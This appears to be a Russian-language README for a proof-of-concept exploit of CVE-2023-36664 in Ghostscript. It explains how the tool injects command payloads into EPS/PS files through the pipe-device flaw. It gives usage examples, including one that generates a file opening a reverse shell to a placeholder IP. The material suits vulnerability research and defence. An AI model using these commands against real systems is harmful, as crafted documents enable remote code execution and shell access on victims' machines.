
PoC уязвимости внедрения команд в Ghostscript (CVE-2023-36664)
Уязвимость, раскрытая в Ghostscript версии ниже 10.01.2, приводит к выполнению кода (оценка CVSS 9.8).
Официальное описание уязвимости:
Artifex Ghostscript до версии 10.01.2 некорректно обрабатывает проверку разрешений для pipe-устройств (с префиксом %pipe% или символом |).
Debian выпустил бюллетень безопасности, в котором упоминается возможность выполнения произвольных команд:
"Было обнаружено, что Ghostscript, интерпретатор PostScript/PDF под лицензией GPL, некорректно обрабатывает проверку разрешений для pipe-устройств, что может привести к выполнению произвольных команд при обработке повреждённых файлов документов."
Репозиторий создан для публикации анализа CVE в блоге vsociety blog.
Скачать Ghostscript 10.01.1 здесь: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Прямая ссылка на исполняемый файл для Windows x64: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
Эксплуатация может произойти при открытии PS или EPS файла и может привести к выполнению кода из-за неправильной обработки проверки разрешений для pipe-устройств в Ghostscript.
Использование: python3 CVE_2023_36664_exploit.py <input_file> <command>
Пример:
python3 CVE_2023_36664_exploit.py file.eps "calc"
Это создаёт новый файл с именем file_injected.eps.
Откройте его с помощью Ghostscript, чтобы запустить калькулятор (начиная с версии 9.50 также нужно использовать опцию -dNOSAFER):
gs10011w64.exe -dNOSAFER .\file_injected.eps
Другие примеры: Создать новый EPS файл с именем run_calculator.eps с полезной нагрузкой "calc" (открывает новый калькулятор в Windows)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
Создать новый EPS файл с именем rev_shell.eps с пользовательским IP (запускает обратную оболочку при срабатывании в Unix)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
Создать новый PS файл malicius.ps с полезной нагрузкой "calc" (открывает новый калькулятор в Windows)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
Внедрить вредоносную пользовательскую полезную нагрузку ("calc") в существующий файл file.eps (открывает новый калькулятор в Windows)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
Данное программное обеспечение создано исключительно для целей академических исследований и разработки эффективных методов защиты и не предназначено для использования для атак на системы, за исключением случаев, когда это явно разрешено. Сопровождающие проекта не несут ответственности за неправомерное использование программного обеспечения. Используйте ответственно.